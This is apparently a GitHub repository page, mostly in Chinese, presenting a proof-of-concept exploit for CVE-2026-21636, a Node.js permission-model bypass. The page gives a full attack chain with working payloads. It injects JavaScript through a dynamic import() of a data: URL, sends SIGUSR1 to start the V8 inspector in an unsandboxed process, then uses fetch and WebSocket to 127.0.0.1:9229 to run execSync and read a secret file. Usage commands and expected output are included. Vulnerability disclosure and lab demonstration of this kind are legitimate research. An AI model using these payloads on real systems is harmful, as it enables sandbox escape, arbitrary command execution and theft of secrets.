Pauldechassey/CVE-2026-21636

GitHub: Pauldechassey/CVE-2026-21636

CVE-2026-21636 的完整利用 PoC,揭示 Node.js 权限模型中 undici/fetch 对本地网络连接未做权限校验,从而实现沙箱逃逸与横向代码执行。

Stars: 0 | Forks: 0

# CVE-2026-21636 - Node.js 权限模型 UDS/网络绕过 ## 漏洞摘要 Node.js **权限模型** (`--permission`) 旨在通过限制对文件系统、子进程、worker 和网络的访问来沙箱化进程。**CVE-2026-21636** 揭示了通过 `undici`/`fetch`(以及 `net`/`tls`)向 **Unix Domain Sockets** 和本地 TCP 地址发起的连接会完全绕过网络防护,即使未设置 `--allow-net` 也是如此。 能够将任意 JavaScript 注入到运行于 `--permission`(但未设置 `--allow-net` 或 `--allow-child-process`)环境下的进程中的攻击者可以: 1. 连接到本应不可达的特权本地服务。 2. 通过该服务进行横向移动,在沙箱外执行任意命令。 ## 环境架构 在 `supervisord` 管理下,容器内并行运行着两个进程: | 进程 | 用户 | 标志 | 权限 | |---|---|---|---| | `target.cjs` | `app` | 无 | 完整的 Node.js API,无沙箱 | | `server.mjs` | `app` | `--permission --allow-fs-read=/` | 完整的文件系统读取权限 — **无网络、无 child_process、无 worker** | `target.cjs` 在启动时将其自身的 PID 写入 `/tmp/target.pid`,然后无限循环(闲置的受害者进程)。`server.mjs` 在 `:8000` 上公开了一个 Express 服务器,包含一个 `/pid` 端点和一个存在漏洞的 `/language` 端点。 `/app/secret.txt` 由 `app` 用户所有(`chmod 444`)。这两个进程在操作系统层面都可以访问它。该漏洞利用并不依赖于文件权限屏障——它演示了尽管 `server.mjs` 缺少 `--allow-net`,仍可以通过 `fetch()`/`WebSocket` 访问 `127.0.0.1:9229`,并在未沙箱化的 `target.cjs` 进程内执行任意代码。通过 CDP 读取 `secret.txt` 就是代码执行的证据。 ## 入口点 - `POST /language` ``` // server.mjs app.post('/language', async (req, res) => { const requested = req.body?.lang ?? 'fr'; res.json(await import(requested + '/index.js')); }); ``` 服务器对用户控制的字符串执行 **动态 `import()`**。Node.js 的 `import()` 原生支持 `data:` URL 方案: ``` data:text/javascript, ``` 服务器追加的 `/index.js` 后缀通过在 payload 末尾附加 `//` 来中和(将其作为 URL 注释 / 被忽略的路径片段处理)。 这实现了 **在沙箱进程内执行任意 JavaScript** - 即利用 CVE-2026-21636 的入口点。 ## 权限模型 - 允许与禁止的内容 服务器启动参数如下: ``` node --permission --allow-fs-read=/ /app/server.mjs ``` | 权限 | 状态 | |---|---| | `--allow-fs-read=/` | 已授予(完全读取) | | `--allow-fs-write` | **已拒绝** | | `--allow-net` | **已拒绝**(实验性功能,未设置) | | `--allow-child-process` | **已拒绝** | | `--allow-worker` | **已拒绝** | | `--allow-inspector` | **已拒绝** | 其意图是:即使攻击者在 `server.mjs` 内部运行代码,他们也无法访问网络、生成进程或访问 inspector。 CVE-2026-21636 突破了 **`--allow-net`** 的边界。 ## 攻击链(3 步) ### 步骤 1 - 获取目标 PID ``` GET /pid → { "pid": } ``` `target.cjs` 在启动时将其自身的 PID 写入 `/tmp/target.pid`。服务器将其公开。这标识了将用作 CDP 中继的受害者进程。 这也可以通过在入口点注入 JS 来完成;为了简化操作,我直接创建了 `/pid` 端点。 ### 步骤 2 - 通过 SIGUSR1 激活 `target.cjs` 上的 V8 inspector 通过 `POST /language` 注入的 Payload(作为 `data:` URL): ``` process.kill(, 'SIGUSR1'); export default { signal: 'SIGUSR1', sent_to: }; ``` 当 Node.js 进程收到 **SIGUSR1** 时,它会启动(或恢复)其 V8/CDP 调试器并开始监听: ``` 127.0.0.1:9229 ``` 因为 `target.cjs` **在没有 `--permission` 的情况下**运行,其 inspector 拥有完全的权限 - 它可以评估任何表达式,包括 `require('child_process').execSync(...)`。 发送信号(`process.kill`)不受权限模型的限制,因此此步骤可以从沙箱内部成功执行。 ### 步骤 3 - 连接到 CDP 并执行命令 (CVE-2026-21636) 通过 `POST /language` 注入的第二个 payload: ``` // fetch the list of debuggable targets from the inspector HTTP API const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json(); //then open a WebSocket to the CDP endpoint of target.cjs const result = await new Promise(resolve => { const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`); ws.onopen = () => ws.send(JSON.stringify({ id: 1, method: 'Runtime.evaluate', params: { expression: `process.mainModule.require('child_process') .execSync('cat /app/secret.txt').toString()`, returnByValue: true } })); ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); }; }); export default result; ``` **为什么在缺少 `--allow-net` 的情况下这仍然有效:** Node.js 中的 `fetch()` 由 **undici** 实现。CVE-2026-21636 表明,undici 针对 `http://127.0.0.1:...`(以及 UDS `socketPath` 选项)的连接路径 **没有** 经过权限模型的网络检查。沙箱认为没有发起任何出站网络访问,但到 `:9229` 的 TCP 连接却成功建立了。 CDP 的 `Runtime.evaluate` 调用运行在 **未沙箱化的** `target.cjs` 进程内部,因此 `require('child_process')` 可用,并且 `execSync` 可以自由执行。 ## 完整漏洞利用流程 ``` attacker (Python script) │ ├─[1]─ GET /pid → pid = N │ ├─[2]─ POST /language data:js SIGUSR1 → target.cjs inspector starts on :9229 │ └─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt ↑ CVE-2026-21636 bypass here (fetch to 127.0.0.1 without --allow-net) ``` ## 用法 ``` # 构建并启动环境 docker compose up --build -d # 运行 exploit python3 exploit.py ``` 预期输出: ``` TARGET PID : 42 Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42} SECRET : this_is_a_secret! ``` ## 参考文献 - [NVD - CVE-2026-21636](https://nvd.nist.gov/vuln/detail/CVE-2026-21636) - [Node.js 权限模型文档](https://nodejs.org/api/permissions.html) - [V8 Inspector / CDP 协议](https://chromedevtools.github.io/devtools-protocol/) - [undici - Node.js 内置 HTTP 客户端](https://undici.nodejs.org/)
标签:CDP, Chrome DevTools Protocol, CSP绕过, CVE-2026-21636, Express, fetch API, GNU通用公共许可证, IPC, MITM代理, net模块, Node.js, RCE, Supervisord, TCP连接, tls模块, UDS, undici, Unix域套接字, Web安全, Web报告查看器, XXE攻击, 动态import, 本地提权, 权限绕过, 沙箱逃逸, 编程工具, 网络安全, 蓝队分析, 请求拦截, 进程间通信, 远程代码执行, 逆向工具, 隐私保护